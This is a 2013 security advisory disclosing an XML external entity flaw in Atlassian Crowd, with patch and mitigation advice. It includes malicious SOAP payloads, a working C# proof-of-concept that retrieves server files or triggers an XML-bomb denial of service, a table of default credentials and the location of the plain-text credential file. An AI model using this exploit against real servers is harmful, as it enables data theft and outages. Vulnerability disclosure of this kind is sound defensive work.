Threat Advisory: Atlassian Crowd (CVE-2013-3925)

Command Five Pty Ltd
June 2013

ABSTRACT

This advisory examines a critical vulnerability in Atlassian Crowd - a software package marketed as a turnkey solution for enterprise scale single sign-on and secure user authentication. The vulnerability is remotely accessible, does not require authentication, and is easily exploited. Recommendations for securing affected systems are provided and special mention is made of an unpatched weakness in the product that could be classified as a symmetric backdoor.

CVE IDENTIFIER	CVE-2013-3925
VENDOR	Atlassian
PRODUCT	Crowd
VERSION	2.6.2 (and lower)
STATUS	Vendor Patch Available (2.6.3 and higher)
CVSS SCORE	9.4 (Impact: 9.2, Exploitability: 10)
DESCRIPTION	XML DTD entity parsing can be exploited to retrieve files from the target network, make HTTP requests on the target network, or carry out a Denial of Service attack.
LAST UPDATED	28 June 2013

TABLE 1 – VULNERABILITY SUMMARY

BACKGROUND

From time to time Command Five issues threat advisories in relation to vulnerabilities it has identified in applications and systems that may be the target of an Advanced Persistent Threat.

Atlassian Crowd is marketed as a secure single sign-on (SSO) product for the enterprise and is designed to be incorporated into third-party applications and systems. A number of Atlassian's other product and service offerings are tightly integrated. In June 2008 Atlassian migrated their customer account authentication process to use Crowd[1]. (Atlassian, 2010)

According to Atlassian, over 25,000 companies worldwide are using their software products. Customers include a large number of high profile organisations and Fortune 500 companies spanning a range of industries: (Atlassian, 2013)

- Automotive
- Consulting
- Consumer
- Education
- Engineering
- Entertainment
- Finance
- Gaming
- Government
- Health
- Technology

[1] Atlassian did not remove the original database from their servers during the migration. The original database contained unencrypted (plain-text) customer credentials and was successfully exfiltrated by hackers in April 2010, likely resulting in the compromise of multiple customer accounts. (Erdos, 2013)

Many of these organisations would likely be considered high value targets by Advanced Persistent Threats because of the sensitive information they hold or their positioning as trusted third-parties. Vulnerabilities in Crowd may enable large scale unauthenticated access to sensitive data and facilitate corruption of the chain-of-trust.

VULNERABILITY

Crowd provides a web based authentication service to integrated applications and systems. The web service sends and receives messages encoded into Extensible Markup Language (XML) according to the Simple Object Access Protocol (SOAP) specification. This XML must be parsed to interpret message content.

XML can contain entities that are placeholders for other content. For example, the standard XML entity '<' is a placeholder for the less-than symbol '<', and the standard XML entity '>' is a placeholder for the greater-than symbol '>'.

XML entities can also be dynamically defined using Universal Resource Locators (URLs) within the Document Type Definition (DTD) header at the beginning of the XML document/message[2] - this type of entity is known as an 'external entity'. For example, the following header causes a compliant XML parser to replace all occurrences of the entity '&pwned;' with the contents of a file located on the local machine ('c:\yesreally.txt'):

```
<!DOCTYPE x [ <!ENTITY pwned SYSTEM
"file:///c:/yesreally.txt"> ]>
```

In 2012 a vulnerability (CVE-2012-2926) [3] was disclosed in relation to the way a number of Atlassian products handled this style of external XML entity. Crowd was one of the affected products. (CVEdetails.com, 2013)

A weaponised exploit for the vulnerability was subsequently incorporated into the automated exploitation platform Metasploit[4]. The exploit is now widely available and easy to operate. (Metasploit, 2013)

All versions of Crowd up to and including version 2.4 exhibited this vulnerability (CVE-2012-2926). A patch introduced by Atlassian in version 2.4.1 resolved the specific issue raised, however, Command Five has identified that Crowd versions 2.6.2 and lower suffer from several vulnerabilities very similar to the original. (Atlassian, 2013)

The ongoing weakness, which has been assigned identifier CVE-2013-3925, is remotely exploitable, does not require authentication, and in some circumstances can enable a hacker to take complete control of the target system. Command Five has assigned a Common Vulnerability Scoring System[5] (CVSS) score of 9.4 to the issue. A summary of vulnerability details is presented in Table 1.

On 5 June 2013, Command Five reported the vulnerability to Atlassian and a vendor fix was incorporated into version 2.6.3 of Crowd which was released on 24 June 2013. On 25 June Atlassian marked the issue as resolved within their bug tracking database. The Crowd 2.6.3 release notes include a section entitled 'Complete list of improvements and fixes' but the issue does not appear in this list. Command Five has examined the release and independently confirmed the change. (Atlassian, 2013)

The existing Metasploit module for the 2012 vulnerability (CVE-2012-2926) makes HTTP POST requests to a URL ending with '/services'. Since version 2.4.1 of Crowd this URL no longer processes DTD header entities. However, versions of Crowd up to and including 2.6.2 continued to process entities defined in the DTD header of requests sent to URLs ending with '/services/2' and '/services/latest', i.e. with a two character change to the targeted URL the Metasploit module is again 'fully armed and operational'[6].

[2] Any well-formed XML document can contain a DTD header. These headers start with the prefix '<!DOCTYPE' and are sometimes referred to as 'doctype' headers. Typically the header is used to define characteristics of the document such as the schema to which it conforms.

[3] The Common Vulnerabilities and Exposures (CVE) program, administered by the not-for-profit Mitre Corporation, provides unique identifiers to facilitate the disambiguation and tracking of reported vulnerabilities. Identifiers are typically of the form 'CVE-<year>-<sequence-number>'.

[4] Metasploit is a popular software platform used for automated security scanning and exploitation. The platform relies on sets of interchangeable modules that target different vulnerabilities.

[5] A web based CVSS calculator is available online: http://nvd.nist.gov/cvss.cfm?calculator&version=2

[6] Quoting 'The Emperor', Star Wars Episode VI, in relation to a battle station previously thought to be inoperable. (IMDb, 2013)

```
<!DOCTYPE x [ <!ENTITY pwned SYSTEM "file:///C:/test/test.txt"> ]>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
    <s:Body>
        <authenticateApplication xmlns="urn:SecurityServer">
            <in0
                xmlns:a="http://authentication.integration.crowd.atlassian.com"
                xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
                <a:credential>
                    <a:credential>password</a:credential>
                    <a:encryptedCredential>&pwned;</a:encryptedCredential>
                </a:credential>
                <a:name>username</a:name>
                <a:validationFactors i:nil="true"/>
            </in0>
        </authenticateApplication>
    </s:Body>
</s:Envelope>
```

FIGURE 1 - SAMPLE REQUEST (FILE RETRIEVAL)

```
<soap:Envelope
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

    <soap:Body>
        <soap:Fault>
            <faultcode>soap:Server</faultcode>
            <faultstring>Invalid boolean value: testcontent</faultstring>
        </soap:Fault>
    </soap:Body>
</soap:Envelope>
```

FIGURE 2 - SAMPLE RESPONSE (FILE RETRIEVAL)

IMPACT

Command Five engineers have determined that the vulnerability allows a hacker or attacker to perform the malicious actions described below.

HTTP Request Relay

By crafting an entity URL prefixed with either 'http://' or 'https://' a hacker can make the Crowd server perform HTTP GET requests. If present, URL parameters are passed in the request. The exploit can be constructed such that any data retrieved using the request is returned to the hacker.

This functionality can be used to make the Crowd server perform HTTP requests against itself. The requests appear to originate from localhost[7], effectively bypassing any trusted proxy/remote address validation rules configured in Crowd.

Remote File Retrieval

By crafting an entity URL prefixed with 'file://' a hacker can retrieve any file accessible to the Crowd server on the target network. This includes files available on public network shares, as well as files stored locally on the machine hosting the Crowd software.

A malicious request that triggers this behaviour is shown in Figure 1. The corresponding response from an exploited Crowd server is shown in Figure 2. The contents of the retrieved file, in this case a test file containing the text 'testcontent', appear in the 'faultstring' element of the response.

Variations in the malicious request can cause the server to either not return the file content or to return the file content in a different location within the response. Some variations do not cause the server to generate HTTP error log messages.

Atlassian products (including the Open ID server that ships with Crowd) store Crowd

[7] 'localhost' is a host name that always refers to the local computer.

credentials unencrypted within text files named 'crowd.properties'. A sample 'crowd.properties' file, taken from an installed instance of the Open ID server that is bundled with Crowd, is shown in Figure 3. A similar file can often be found on Crowd servers in the following location:

```
<crowd-root>\crowd-openidserver-webapp\WEB-INF\classes\
```

If a hacker uses the vulnerability to retrieve a file containing credentials, they can then authenticate with the Crowd server directly, or use the exploit again to bypass trusted proxy/remote address validation as described above.

Denial of Service

By defining a sequence of nested internal XML entities within the DTD header of a SOAP request an attacker can initiate a Denial of Service attack. This can deny user access to the Crowd server and other dependent/integrated systems.

Nested XML entity definitions can rapidly explode memory requirements during parsing without a proportional bandwidth requirement. This is a well-documented form of attack often referred to as an 'XML Bomb' and should be mitigated in any application that processes XML entity references within DTD headers. (Mitre Corporation, 2013)

PROOF OF CONCEPT

Proof of concept source code, written in C#, is provided in Annex A. Trace output from a Crowd server successfully exploited in a test environment is available in Annex B.

```
application.name                        crowd-openid-server
application.password                    password
application.login.url                   http://localhost:8095/openidserver

crowd.server.url                        http://localhost:8095/crowd/services/

session.isauthenticated                 session.isauthenticated
session.tokenkey                        session.tokenkey
session.validationinterval              0
session.lastvalidation                  session.lastvalidation
```

FIGURE 3 - SAMPLE 'CROWD.PROPERTIES' FILE

RECOMMENDATIONS

Successful exploitation of this vulnerability can (but does not necessarily) lead to a hacker taking full control of an organisation's single sign-on service, potentially resulting in a catastrophic security event. Regardless, successful exploitation is likely to enable high velocity lateral movement within the targeted organisation.

Command Five recommends that affected organisations with an ongoing need to use Crowd immediately upgrade to the latest version (2.6.3 at the time of writing) and/or block access to the vulnerable URLs[8] described in this document. These organisations should also use the section of this document entitled 'Unpatched Vulnerabilities' to enhance their understanding of the threat environment.

During installation Crowd notifies the user that it is critical to change default application passwords, but, at the time of writing, no instructions are provided. The default passwords (shown in Table 2) do not vary from system to system.

USERNAME	PASSWORD
crowd-openid-server	password
Crowd	password
Demo	password
Username	password

TABLE 2 - DEFAULT CROWD CREDENTIALS

Default application passwords are a security concern. Command Five recommends changing default passwords as soon as possible. To change a password in Crowd it must be changed both within the Crowd web based administration console and the relevant application's 'crowd.properties' file (see Figure 3).

Some organisations expose their Crowd installation to the Internet in order to enable remote authentication for employees or affiliates. These organisations are at increased risk and should conduct a risk assessment taking into account the impact that a security breach may have on their business. (Google, 2013)

It is always advisable to undertake risk assessment and mitigation activities in consultation with trusted experts in the field.

UNPATCHED VULNERABILITIES

Command Five is aware of at least one other critical vulnerability in Atlassian Crowd (CVE-2013-3926, CVSS 10) which remains unpatched at the time of writing (version 2.6.3).

The vulnerability allows unauthenticated remote parties to take full control of any Crowd server to which they are able to make a network connection.

Indicators such as covert positioning, the use of special parameters, absence of log messages, facilitation of persistence, and apparent lack of legitimate purpose suggest that this vulnerability could be classified as a symmetric backdoor[9] if malicious intent were to be established (which it has not).

Successful exploitation of the unpatched vulnerability invariably results in compromise of:

- All active Crowd application credentials
- All active Crowd user credentials
- All Crowd accessible data storage
- All Crowd configured directories[10]
- All Crowd dependent secure systems

A full analysis of this threat vector will be the subject of a future Command Five threat advisory[11] published after investigations are completed and a vendor fix is released.

[8] These URLs vary based on the configured base address for Crowd. Typically the URLs are:
'/crowd/services/2', and, '/crowd/services/latest'

[9] A symmetric backdoor is one that can be used by anyone who discovers it. In contrast, an asymmetric backdoor can only be used by the original author. (Wikipedia, 2013)

[10] Crowd can be configured to interact with a variety of enterprise directory services including Active Directory.

[11] Command Five research papers and threat advisories are accessible via:
https://www.commandfive.com/research.html

ANNEX A

PROOF OF CONCEPT SOURCE CODE (C#)

```
/// <summary>
/// CVE-2013-3925 - Atlassian Crowd, 2.6.2 (and lower)
/// Copyright (C) Command Five Pty Ltd. All rights reserved.
/// </summary>
private static void RunCve20133925()
{
    // receives the malicious DTD header
    string docType;

    // receives the malicious SOAP message
    string dataString;

    // set true to execute a DoS, false to fetch a URL
    bool isDos = false;

    if (isDos)
    {
        StringBuilder docTypeBuilder = new StringBuilder();

        // &e0;=PWNED
        docTypeBuilder.Append(
            "<!DOCTYPE x [ <!ENTITY e0 \"PWNED\"> ");

        // &e1;=&e0;&e0; &e2;=&e1;&e1; ... &e31;=&e30;&e30;
        for (int i = 1; i < 32; i++)
        {
            docTypeBuilder.AppendFormat(
                "<!ENTITY e{0} \"&e{1};&e{1};\"> ",
                i,
                i - 1);
        }

        // &pwned;=&e31;&e31
        docTypeBuilder.Append(
            "<!ENTITY pwned \"&e31;&e31;\"> ");
        docTypeBuilder.Append(
            "]>\r\n");

        docType = docTypeBuilder.ToString();
    }
    else
    {
        // URL to the file that will be retrieved
        string urlToFetch = @"file:///C:/test/test.txt";

        docType = string.Concat(
            "<!DOCTYPE x [ <!ENTITY pwned SYSTEM \"",
            urlToFetch,
            "\"> ]>\r\n");
    }

    // malicious SOAP message with DTD header
    dataString = string.Concat(
        docType,
@"<s:Envelope xmlns:s=""http://schemas.xmlsoap.org/soap/envelope/"">
<s:Body>
<authenticateApplication xmlns=""urn:SecurityServer"">
<in0
xmlns:a=""http://authentication.integration.crowd.atlassian.com""
xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"">
```

```
<a:credential>
<a:credential>password</a:credential>
<a:encryptedCredential>&pwned;</a:encryptedCredential>
</a:credential>
<a:name>username</a:name>
<a:validationFactors i:nil=""true""/>
</in0>
</authenticateApplication>
</s:Body>
</s:Envelope>");

    // encoding matches web request headers
    byte[] dataStringBytes = Encoding.UTF8.GetBytes(dataString);

    // the vulnerable URL
    string vulnerableUrl = "http://localhost:8095/crowd/services/2/";

    // send a POST request with SOAP message body
    WebRequest webRequest = HttpWebRequest.CreateHttp(vulnerableUrl);
    webRequest.Method = "POST";
    webRequest.ContentType = "text/xml; charset=utf-8";
    webRequest.ContentLength = dataStringBytes.Length;
    webRequest.Headers.Add("SOAPAction", string.Empty);
    using (Stream postStream = webRequest.GetRequestStream())
    {
        postStream.Write(dataStringBytes, 0, dataStringBytes.Length);
    }

    // read back the response
    WebResponse webResponse = null;
    try
    {
        try
        {
            webResponse = webRequest.GetResponse();
        }
        catch (WebException ex)
        {
            // expect a 500 internal server error exception

            Console.WriteLine(ex.Message);
            webResponse = ex.Response;
        }

        if (webResponse == null)
        {
            Console.WriteLine("No response.");
            return;
        }

        using (Stream stream = webResponse.GetResponseStream())
        using (StreamReader reader = new StreamReader(stream))
        {
            string responseXml = reader.ReadToEnd();
            Console.WriteLine(responseXml);

            // optionally extract the exfiltrated data
            if (!isDos)
            {
                const string StartCut = "Invalid boolean value: ";
                const string EndCut = "</faultstring>";

                string fileContent = null;

                int start = responseXml.IndexOf(StartCut);
                if (start >= 0)
                {
```

```
                    start += StartCut.Length;
                    int end = responseXml.IndexOf(EndCut, start);

                    if (end >= start)
                    {
                        fileContent = responseXml.Substring(
                            start,
                            end - start);
                    }
                }

                if (fileContent != null)
                {
                    Console.WriteLine("File content extracted:");
                    Console.WriteLine(fileContent);
                }
            }
        }
    }
    finally
    {
        if (webResponse != null)
        {
            webResponse.Dispose();
        }
    }
}
```

Annex B

Server Trace Output

Remote File Retrieval

```
2013-06-27 00:00:00,000 http-8095-1 ERROR [codehaus.xfire.handler.DefaultFaultHandler] Fault occurred!
org.codehaus.xfire.XFireRuntimeException: Invalid boolean value: testcontent
at org.codehaus.xfire.aegis.AbstractMessageReader.getValueAsBoolean(AbstractMessageReader.java:115)
at org.codehaus.xfire.aegis.type.basic.BooleanType.readObject(BooleanType.java:16)
at org.codehaus.xfire.aegis.type.basic.BeanType.readObject(BeanType.java:159)
at org.codehaus.xfire.aegis.type.basic.BeanType.readObject(BeanType.java:159)
at org.codehaus.xfire.aegis.AegisBindingProvider.readParameter(AegisBindingProvider.java:169)
at org.codehaus.xfire.service.binding.AbstractBinding.read(AbstractBinding.java:206)
at org.codehaus.xfire.service.binding.WrappedBinding.readMessage(WrappedBinding.java:51)
at org.codehaus.xfire.soap.handler.SoapBodyHandler.invoke(SoapBodyHandler.java:42)
at org.codehaus.xfire.handler.HandlerPipeline.invoke(HandlerPipeline.java:131)
at org.codehaus.xfire.transport.DefaultEndpoint.onReceive(DefaultEndpoint.java:64)
at org.codehaus.xfire.transport.AbstractChannel.receive(AbstractChannel.java:38)
at org.codehaus.xfire.transport.http.XFireServletController.invoke(XFireServletController.java:304)
at org.codehaus.xfire.transport.http.XFireServletController.doService(XFireServletController.java:129)
at org.codehaus.xfire.spring.remoting.XFireServletControllerAdapter.handleRequest(XFireServletControllerAdapter.java:67)
at org.codehaus.xfire.spring.remoting.XFireExporter.handleRequest(XFireExporter.java:48)
at org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:48)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:923)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:852)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:882)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:789)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:637)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.atlassian.plugin.servlet.filter.IteratingFilterChain.doFilter(IteratingFilterChain.java:46)
at com.atlassian.plugin.servlet.filter.ServletFilterModuleContainerFilter.doFilter(ServletFilterModuleContainerFilter.java:77)
at com.atlassian.plugin.servlet.filter.ServletFilterModuleContainerFilter.doFilter(ServletFilterModuleContainerFilter.java:63)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.atlassian.plugin.servlet.filter.IteratingFilterChain.doFilter(IteratingFilterChain.java:46)
at com.atlassian.plugin.servlet.filter.ServletFilterModuleContainerFilter.doFilter(ServletFilterModuleContainerFilter.java:77)
at com.atlassian.plugin.servlet.filter.ServletFilterModuleContainerFilter.doFilter(ServletFilterModuleContainerFilter.java:63)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.atlassian.plugin.servlet.filter.IteratingFilterChain.doFilter(IteratingFilterChain.java:46)
at com.atlassian.plugin.servlet.filter.ServletFilterModuleContainerFilter.doFilter(ServletFilterModuleContainerFilter.java:77)
at com.atlassian.plugin.servlet.filter.ServletFilterModuleContainerFilter.doFilter(ServletFilterModuleContainerFilter.java:63)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.atlassian.johnson.filters.AbstractJohnsonFilter.doFilter(AbstractJohnsonFilter.java:67)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.springframework.orm.hibernate3.support.OpenSessionInViewFilter.doFilterInternal(OpenSessionInViewFilter.java:198)
at com.atlassian.crowd.console.filter.CrowdOpenSessionInViewFilter.doFilterInternal(CrowdOpenSessionInViewFilter.java:26)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:76)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.atlassian.gzipfilter.GzipFilter.doFilterInternal(GzipFilter.java:80)
at com.atlassian.gzipfilter.GzipFilter.doFilter(GzipFilter.java:51)
at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:346)
at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:259)
at com.atlassian.crowd.console.filter.CrowdDelegatingFilterProxy.doFilter(CrowdDelegatingFilterProxy.java:38)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.atlassian.plugin.servlet.filter.IteratingFilterChain.doFilter(IteratingFilterChain.java:46)
at com.atlassian.plugin.servlet.filter.ServletFilterModuleContainerFilter.doFilter(ServletFilterModuleContainerFilter.java:77)
at com.atlassian.plugin.servlet.filter.ServletFilterModuleContainerFilter.doFilter(ServletFilterModuleContainerFilter.java:63)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:298)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:859)
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:588)
at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489)
at java.lang.Thread.run(Unknown Source)
```

Denial of Service

```
2013-06-27 00:00:00,000 http-8095-4 ERROR [500ErrorPage] Exception caught in 500 page Java heap space
java.lang.OutOfMemoryError: Java heap space
at java.util.Arrays.copyOf(Unknown Source)
at java.lang.AbstractStringBuilder.expandCapacity(Unknown Source)
at java.lang.AbstractStringBuilder.ensureCapacityInternal(Unknown Source)
at java.lang.AbstractStringBuilder.append(Unknown Source)
at java.lang.StringBuffer.append(Unknown Source)
at com.sun.org.apache.xerces.internal.impl.XMLStreamReaderImpl.getElementText(Unknown Source)
at org.codehaus.xfire.util.stax.DepthXMLStreamReader.getElementText(DepthXMLStreamReader.java:86)
at org.codehaus.xfire.util.stax.DepthXMLStreamReader.getElementText(DepthXMLStreamReader.java:86)
at org.codehaus.xfire.aegis.stax.ElementReader.getValue(ElementReader.java:122)
at org.codehaus.xfire.aegis.AbstractMessageReader.getValueAsBoolean(AbstractMessageReader.java:106)
at org.codehaus.xfire.aegis.type.basic.BooleanType.readObject(BooleanType.java:16)
at org.codehaus.xfire.aegis.type.basic.BeanType.readObject(BeanType.java:159)
at org.codehaus.xfire.aegis.type.basic.BeanType.readObject(BeanType.java:159)
at org.codehaus.xfire.aegis.AegisBindingProvider.readParameter(AegisBindingProvider.java:169)
at org.codehaus.xfire.service.binding.AbstractBinding.read(AbstractBinding.java:206)
at org.codehaus.xfire.service.binding.WrappedBinding.readMessage(WrappedBinding.java:51)
at org.codehaus.xfire.soap.handler.SoapBodyHandler.invoke(SoapBodyHandler.java:42)
at org.codehaus.xfire.handler.HandlerPipeline.invoke(HandlerPipeline.java:131)
at org.codehaus.xfire.transport.DefaultEndpoint.onReceive(DefaultEndpoint.java:64)
at org.codehaus.xfire.transport.AbstractChannel.receive(AbstractChannel.java:38)
at org.codehaus.xfire.transport.http.XFireServletController.invoke(XFireServletController.java:304)
at org.codehaus.xfire.transport.http.XFireServletController.doService(XFireServletController.java:129)
at org.codehaus.xfire.spring.remoting.XFireServletControllerAdapter.handleRequest(XFireServletControllerAdapter.java:67)
at org.codehaus.xfire.spring.remoting.XFireExporter.handleRequest(XFireExporter.java:48)
at org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:48)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:923)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:852)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:882)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:789)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:637)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
```

REFERENCES

Atlassian. (2010, 04). *oh_man_what_a_day_an_update_on_our_security_breach*. Retrieved from Atlassian Blog: http://blogs.atlassian.com/news/2010/04/oh_man_what_a_day_an_update_on_our_security_breach.html

Atlassian. (2013, June 27). *Atlassian Customer List*. Retrieved from Atlassian: http://www.atlassian.com/company/customers/customer-list

Atlassian. (2013, June 28). *Crowd 2.6.3 Release Notes*. Retrieved from Crowd Documentation: https://confluence.atlassian.com/display/CROWD/Crowd+2.6.3+Release+Notes

Atlassian. (2013, June 27). *CWD-2792 XML Vulnerability in Crowd*. Retrieved from Atlassian JIRA: https://jira.atlassian.com/browse/CWD-2797

CVEdetails.com. (2013, June 27). *Vulnerability Details: CVE-2012-2926*. Retrieved from CVEdetails.com: http://www.cvedetails.com/cve/CVE-2012-2926/

Erdos, Z. (2013, June 27). *Atlassian Security Breach and Warning, Update: Apology and Disclosure*. Retrieved from cloudave.com: http://www.cloudave.com/528/atlassian-security-breach-and-warning/

Google. (2013, June 27). *Google Search: powered by atlassian crowd*. Retrieved from Google Search: https://encrypted.google.com/search?q=powered+by+atlassian+crowd

IMDb. (2013, June 28). *Star Wars: Episode VI - Return of the Jedi (1983) - Quotes - IMDb*. Retrieved from IMDb: http://www.imdb.com/title/tt0086190/quotes

Metasploit. (2013, June 27). *Atlassian Crowd XML Entity Expansion Remote File Access*. Retrieved from Metasploit: http://www.metasploit.com/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess

Mitre Corporation. (2013, June 27). *CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')*. Retrieved from Common Weakness Enumeration : http://cwe.mitre.org/data/definitions/776.html

Wikipedia. (2013, June 28). *Backdoor (computing)*. Retrieved from Wikipedia: http://en.wikipedia.org/wiki/Backdoor_(computing)

COPYRIGHT NOTICE

Command Five Pty Ltd
ABN: 49 149 576 670

http://www.commandfive.com
info@commandfive.com